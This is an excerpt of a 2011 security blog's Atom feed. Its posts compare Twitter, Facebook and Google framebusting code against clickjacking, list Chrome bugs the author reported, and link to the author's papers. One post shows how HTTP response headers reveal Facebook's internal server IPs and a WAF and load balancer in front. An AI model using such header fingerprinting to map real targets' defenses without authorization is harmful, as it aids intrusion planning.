/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/8044650660095838670/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=8044650660095838670' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8044650660095838670'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8044650660095838670'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2011/08/anatomy-of-openssl-and-penetration.html' title='Anatomy of OpenSSL and Penetration Testing - Breaking Benjamin'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-MqXe4I81b_M/TjxLOLBNjNI/AAAAAAAAA9k/MTEtShTHENA/s72-c/ssl-787855.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-4886529549729705272</id><published>2011-08-01T11:50:00.000-07:00</published><updated>2011-08-01T12:40:51.027-07:00</updated><title type='text'>Framebusting - The Dual Protection Core</title><content type='html'>Since the outcome of ClickJacking attacks, framebusting has become the unavoidable part of web application security. Considering the real world scenario, it has been noticed that still the appropriate protections have not been placed in the plethora of websites. Seclab guys conducted the study on &lt;span style="font-weight:bold;"&gt; &lt;a href="http://seclab.stanford.edu/websec/framebusting/framebust.pdf"&gt;framebusting&lt;/a&gt;.&lt;/span&gt; They raise a point on the right way of implementing the framebusting code. However, a similar protection features have been implemented in the famous websites such as Twitter, Facebook etc. However, my personal opinion is to use the dual protection which includes the implementation of declarative security as well as framebusting code. No doubt, only new versions of certain browsers such as Internet Explorer, Firefox etc support some of the declarative security features. Deploying declarative security feature is a good additional point. I have written Firefox addons that detect the presence of declarative security headers that are coming from servers. In this post, I am using &lt;span style="font-weight:bold;"&gt;X-Frame-Options&lt;/span&gt; detector hosted &lt;span style="font-weight:bold;"&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/clickjacking-defense-declar/"&gt;here&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Lets see how the &lt;span style="font-weight:bold;"&gt;twitter&lt;/span&gt; implements the framebusting code&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;========================= TWITTER ======================================&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;function bust () {&lt;br /&gt; document.write = "";&lt;br /&gt; window.top.location = window.self.location;&lt;br /&gt; setTimeout(function() {&lt;br /&gt;   document.body.innerHTML = '';&lt;br /&gt;   }, 0);&lt;br /&gt; window.self.onload = function(evt) {&lt;br /&gt;   document.body.innerHTML = '';&lt;br /&gt; };&lt;br /&gt;}&lt;br /&gt;if (window.top !== window.self) { // are you trying to put self in an iframe?&lt;br /&gt; try {&lt;br /&gt;   if (window.top.location.host) { // this is illegal to access unless you share a non-spoofable document domain&lt;br /&gt;     // fun times&lt;br /&gt;   } else {&lt;br /&gt;     bust(); // chrome executes this&lt;br /&gt;   }&lt;br /&gt; } catch (ex) {&lt;br /&gt;   bust(); // everyone executes this&lt;br /&gt; }&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;========================= TWITTER =====================================&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This works very well. The beauty of this protection is even if the webpage is framed using advanced techniques, the twitter displays the white page thereby dethroning the success rate of successfully framed web page. Give a shot yourself. Apart from this, twitter also throws &lt;span style="font-weight:bold;"&gt;X-Frame-Options&lt;/span&gt; header which adds another protection layer to use the inbuilt browser protection mechanism&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-emAGwwhgMNQ/Tjb6OLdqI-I/AAAAAAAAA80/fhk7sBSQ1tw/s1600/twitter_framebust.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 252px;" src="http://3.bp.blogspot.com/-emAGwwhgMNQ/Tjb6OLdqI-I/AAAAAAAAA80/fhk7sBSQ1tw/s400/twitter_framebust.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5635967105203053538" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Let's have a look at the&lt;span style="font-weight:bold;"&gt; Facebook &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;========================= FACEBOOK ==============================&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;function si_cj(m)&lt;br /&gt;{&lt;br /&gt;setTimeout(function()&lt;br /&gt;{ &lt;br /&gt; new Image().src="http:\/\/error.facebook.com\/common\/scribe_endpoint.php?c=si_clickjacking&amp;t=8340"+"&amp;m="+m;&lt;br /&gt;},5000);&lt;br /&gt;}&lt;br /&gt;if(top!=self)&lt;br /&gt;{try{if(parent!=top)&lt;br /&gt; {throw 1;}var si_cj_d=["apps.facebook.com","\/pages\/","apps.beta.facebook.com"];&lt;br /&gt;&lt;br /&gt;var href=top.location.href.toLowerCase();&lt;br /&gt;&lt;br /&gt;for(var i=0;i&amp;lt;si_cj_d.length;i++)&lt;br /&gt;&lt;br /&gt;{if (href.indexOf(si_cj_d[i])&amp;gt;=0){throw 1;}}si_cj("3 ");}&lt;br /&gt;&lt;br /&gt;catch(e){si_cj("1 \t");window.document.write("\u003cstyle&amp;gt;body * {display:none !important;}\u003c\/style&amp;gt;\u003ca href=\"#\" onclick=\"top.location.href=window.location.href\" style=\"display:block !&lt;br /&gt;important;padding:10px\"&amp;gt;\u003ci class=\"img sp_8lnh2w sx_fcd3c0\" style=\"display:block !important\"&amp;gt;\u003c\/i&amp;gt;Go to Facebook.com\u003c\/a&amp;gt;");&lt;br /&gt;}} &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;============================ FACEBOOK ==============================&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This code works appropriately and displays the small Facebook image with a link to main Facebook page in the Iframe as presented below&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/--bjnIw_r50M/Tjb9WPuHviI/AAAAAAAAA88/Lf1in2GiDcY/s1600/facebook_fb.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 228px;" src="http://4.bp.blogspot.com/--bjnIw_r50M/Tjb9WPuHviI/AAAAAAAAA88/Lf1in2GiDcY/s400/facebook_fb.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5635970542319681058" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Facebook does not use declarative security protection feature&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-f95v9wQ5ieQ/Tjb-cGm9hAI/AAAAAAAAA9E/YoBm1fBDvrY/s1600/facebook_framebust.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 224px;" src="http://2.bp.blogspot.com/-f95v9wQ5ieQ/Tjb-cGm9hAI/AAAAAAAAA9E/YoBm1fBDvrY/s400/facebook_framebust.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5635971742464574466" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Google implements the code as follows&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;if (top.location != self.location) {top.location = self.location.href;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;It also implements the X-Frames-Options header to add another layer.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-pxJqP-T-tJI/TjcAoB-zkMI/AAAAAAAAA9M/5xfVcQ1QYzk/s1600/gmail_framebust.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 189px;" src="http://1.bp.blogspot.com/-pxJqP-T-tJI/TjcAoB-zkMI/AAAAAAAAA9M/5xfVcQ1QYzk/s400/gmail_framebust.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5635974146404094146" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The cases discussed above are from the most explored websites. However, the normal scenarios are very bad. My suggestion is to implement both solutions collaboratively rather than sticking to one. The browser security guys are implementing inbuilt solutions and we should harness the power. The dual protection is always good.&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-4886529549729705272?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/4886529549729705272/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=4886529549729705272' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/4886529549729705272'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/4886529549729705272'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2011/08/framebusting-dual-protection-core.html' title='Framebusting - The Dual Protection Core'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-emAGwwhgMNQ/Tjb6OLdqI-I/AAAAAAAAA80/fhk7sBSQ1tw/s72-c/twitter_framebust.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-3275095665260861216</id><published>2011-07-28T19:41:00.000-07:00</published><updated>2011-07-28T21:32:19.823-07:00</updated><title type='text'>InfoJacking - A Walk through Social Networking Websites</title><content type='html'>Last month, I presented at &lt;span style="font-weight:bold;"&gt;&lt;a href="http://www.sourceconference.com/seattle/speakers_2011.asp#asood"&gt;Source Seattle conference&lt;/a&gt;&lt;/span&gt;. The slides are available for download from Cigital's website &lt;span style="font-weight:bold;"&gt;&lt;a href="http://www.cigital.com/presentations/sourceseattle2011cigital_adityaks.pdf"&gt;here&lt;/a&gt;&lt;/span&gt;. I also wrote some views about different cases of collecting information &lt;span style="font-weight:bold;"&gt;&lt;a href="http://www.cigital.com/justiceleague/2011/07/20/art-of-infojacking-%E2%80%93-what-lies-beneath/"&gt;here&lt;/a&gt;&lt;/span&gt;. The detection of hidden devices such as WAF's , protection against advanced attacks are very much important. I discussed different cases in my presentation about collecting information from HTTP response headers. I thought to just move on and verify the state of some social networking websites.&lt;br /&gt;&lt;br /&gt;The Facebook response header dump looks like as follows &lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;(Status-Line) HTTP/1.1 200 OK&lt;br /&gt;Cache-Control private, no-cache, no-store, must-revalidate&lt;br /&gt;Expires Sat, 01 Jan 2000 00:00:00 GMT&lt;br /&gt;P3P CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p"&lt;br /&gt;Pragma no-cache&lt;br /&gt;Set-Cookie reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2F; path=/; domain=.facebook.com&lt;br /&gt;Set-Cookie wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly&lt;br /&gt;Content-Encoding gzip&lt;br /&gt;Content-Type text/html; charset=utf-8&lt;br /&gt;X-FB-Server 10.54.249.30&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;X-Cnection close&lt;/span&gt;&lt;br /&gt;Transfer-Encoding chunked&lt;br /&gt;Date Fri, 29 Jul 2011 02:39:59 GMT&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The highlighted part in the dump suggests that Facebook is running under the shadow of &lt;span style="font-weight:bold;"&gt;NetScaler [WAF + Load Balancer] &lt;/span&gt;device. On continuous observing and validating certain functions, I extracted some combinations of URL's and related HTTP header sent with it i.e. &lt;span style="font-weight:bold;"&gt;X-FB-Server&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;https://www.facebook.com/login.php?login_attempt=1&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;X-FB-Server 10.36.129.112&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;http://www.facebook.com/home.php?sfrm=1&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;X-FB-Server 10.36.252.123&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;http://static.ak.fbcdn.net/rsrc.php/v1/yn/r/l2REPOIm5eD.css&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;X-FB-Server 10.138.17.184&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/uRff5za-w5e.css&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;X-FB-Server 10.138.64.186&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;http://static.ak.fbcdn.net/rsrc.php/v1/yT/r/cWd6w4ZgtPx.png&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;X-FB-Server 10.30.147.194&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;http://www.facebook.com/ajax/chat/buddy_list.php?__a=1&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;X-FB-Server 10.42.74.73&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;http://www.facebook.com/ajax/chat/buddy_list.php?__a=1&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;X-FB-Server 10.43.50.79&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;http://www.facebook.com/ajax/hovercard/user.php?id=1036258667&amp;__a=1&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;X-FB-Server 10.42.174.47&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;http://www.facebook.com/ajax/ufi/modify.php?__a=1&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;X-FB-Server 10.42.108.21&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;http://www.facebook.com/?ref=logo&amp;__a=20&amp;ajaxpipe=1&amp;quickling[version]=412753%3B0&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;X-FB-Server 10.42.118.79&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The &lt;span style="font-weight:bold;"&gt;X-FB-Server&lt;/span&gt; header value was changing with different responses. However, one thing remains same is the combination of &lt;span style="font-weight:bold;"&gt;X-FB-Server with X-Cnection.&lt;/span&gt; This simply projects that WAF + Load Balancer is playing a role. &lt;br /&gt;&lt;br /&gt;However, Facebook does not reveal the web server information in &lt;span style="font-weight:bold;"&gt;Server&lt;/span&gt; header. Additionally, Facebook responses contain the &lt;span style="font-weight:bold;"&gt;"X-Backend :"&lt;/span&gt; header with different values. For informational purposes, the X-Backend header is sent by 3 different servers : &lt;span style="font-weight:bold;"&gt;nginx , Apache-Coyote and lighttpd&lt;/span&gt; primarily.&lt;br /&gt;&lt;br /&gt;The point is HTTP response headers reveals a lot of information which can be potentially useful for testing purposes.&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-3275095665260861216?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/3275095665260861216/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=3275095665260861216' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/3275095665260861216'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/3275095665260861216'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2011/07/infojacking-walkthrough-social.html' title='InfoJacking - A Walk through Social Networking Websites'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-2702593878852466047</id><published>2011-04-30T17:13:00.001-07:00</published><updated>2011-04-30T17:14:43.282-07:00</updated><title type='text'>Malvertising Paper - Elsevier CFS Journal</title><content type='html'>&lt;center&gt;&lt;div style="width:477px" id="__ss_7715544"&gt; &lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/adityaks/malvertising-exploiting-web-advertising" title="Malvertising - Exploiting Web Advertising | Elsevier Computer Fraud and Security Journal"&gt;Malvertising - Exploiting Web Advertising | Elsevier Computer Fraud and Security Journal&lt;/a&gt;&lt;/strong&gt; &lt;iframe src="http://www.slideshare.net/slideshow/embed_code/7715544" width="477" height="510" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"&gt;&lt;/iframe&gt; &lt;div style="padding:5px 0 12px"&gt; View more &lt;a href="http://www.slideshare.net/"&gt;documents&lt;/a&gt; from &lt;a href="http://www.slideshare.net/adityaks"&gt;Aditya K Sood&lt;/a&gt; &lt;/div&gt; &lt;/div&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-2702593878852466047?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/2702593878852466047/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=2702593878852466047' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/2702593878852466047'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/2702593878852466047'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2011/04/malvertising-exploiting-web-advertising.html' title='Malvertising Paper - Elsevier CFS Journal'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-1036300653841312380</id><published>2011-03-22T19:12:00.000-07:00</published><updated>2011-03-22T19:32:29.759-07:00</updated><title type='text'>Google Chrome -  Security Issues Reported So Far</title><content type='html'>I have enumerated the list of Google Chrome bugs given to Chrome security team.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/chromium/issues/detail?id=2632"&gt;Issue 2632&lt;/a&gt;:Google Chrome Carriage Return Null Object Memory Exhaustion Remote Dos&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/chromium/issues/detail?id=2877"&gt;Issue 2877&lt;/a&gt;:Google Chrome Window Object Suppressing Denial of Service&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/chromium/issues/detail?id=4739"&gt;Issue 4739&lt;/a&gt;: Google Chrome MetaCharacter URI Obfuscation Vulnerability&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/chromium/issues/detail?id=5978"&gt;Issue 5978&lt;/a&gt;: Google Chrome FTP PASV IP Malicious Port Scanning Vulnerability&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/chromium/issues/detail?id=7099"&gt;Issue 7099&lt;/a&gt;: Google Chrome 1.0.154.43 ClickJacking Vulnerability&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/chromium/issues/detail?id=11158"&gt;Issue 11158&lt;/a&gt;: Google Chrome document.write/throw exception DOM causes NULL ptr DoS&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/chromium/issues/detail?id=30972"&gt;Issue 30972&lt;/a&gt;: Google Chrome XSS through MS Word Script Execution Object&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/chromium/issues/detail?id=53096"&gt;Issue 53096&lt;/a&gt;: Google Chrome: HTTP AUTH Dialog Spoofing through Realm&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/chromium/issues/detail?id=75937"&gt;Issue 75937&lt;/a&gt;: Google Chrome 10.0.648.133 XSS Filter Bypass&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-1036300653841312380?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/1036300653841312380/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=1036300653841312380' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/1036300653841312380'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/1036300653841312380'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2011/03/google-chrome-security-issues-reported.html' title='Google Chrome -  Security Issues Reported So Far'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-3970542746851465685</id><published>2010-11-15T02:47:00.000-08:00</published><updated>2010-11-15T02:48:03.554-08:00</updated><title type='text'>Oracle.com Redirection Vulnerability Video</title><content type='html'>&lt;center&gt;&lt;object width="480" height="385"&gt;&lt;param name="movie" value="http://www.youtube.com/v/itanyw74QyU?fs=1&amp;amp;hl=en_US"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/itanyw74QyU?fs=1&amp;amp;hl=en_US" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-3970542746851465685?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/3970542746851465685/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=3970542746851465685' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/3970542746851465685'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/3970542746851465685'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2010/11/oraclecom-redirection-vulnerability.html' title='Oracle.com Redirection Vulnerability Video'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-6491425463060417306</id><published>2010-11-10T18:55:00.001-08:00</published><updated>2010-11-10T18:58:35.067-08:00</updated><title type='text'>ISSA Journal - JavaScript Infection Model</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/TNtbwLpokXI/AAAAAAAAA00/hB_Lfn9gaxA/s1600/issa.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 147px; height: 191px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/TNtbwLpokXI/AAAAAAAAA00/hB_Lfn9gaxA/s400/issa.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5538121050101420402" /&gt;&lt;/a&gt;&lt;br /&gt;Check out my paper on JavaScript Infection Model published in November issue of ISSA journal.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://www.issa.org/Members/Journal/"&gt;https://www.issa.org/Members/Journal/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-6491425463060417306?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/6491425463060417306/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=6491425463060417306' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/6491425463060417306'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/6491425463060417306'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2010/11/issa-journal-javascript-infection-model.html' title='ISSA Journal - JavaScript Infection Model'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_2r2SQhqglf4/TNtbwLpokXI/AAAAAAAAA00/hB_Lfn9gaxA/s72-c/issa.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-8758077693247696540</id><published>2010-11-10T18:50:00.000-08:00</published><updated>2010-11-10T18:54:25.839-08:00</updated><title type='text'>HackInThe Box EZine - DataCenter Hacking Paper / My Interview</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/TNtaui6ZJUI/AAAAAAAAA0s/em7x60j4CQc/s1600/hitb.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 121px; height: 158px;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/TNtaui6ZJUI/AAAAAAAAA0s/em7x60j4CQc/s400/hitb.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5538119922474362178" /&gt;&lt;/a&gt;&lt;br /&gt;Check out my interview and our paper on data-center hacking through helpdesk support systems. &lt;br /&gt;&lt;br /&gt;&lt;a href="http://magazine.hitb.org/issues/HITB-Ezine-Issue-004.pdf"&gt;http://magazine.hitb.org/issues/HITB-Ezine-Issue-004.pdf&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-8758077693247696540?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/8758077693247696540/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=8758077693247696540' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8758077693247696540'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8758077693247696540'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2010/11/hackinthe-box-ezine-datacenter-hacking.html' title='HackInThe Box EZine - DataCenter Hacking Paper / My Interview'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_2r2SQhqglf4/TNtaui6ZJUI/AAAAAAAAA0s/em7x60j4CQc/s72-c/hitb.jpg' height='72' 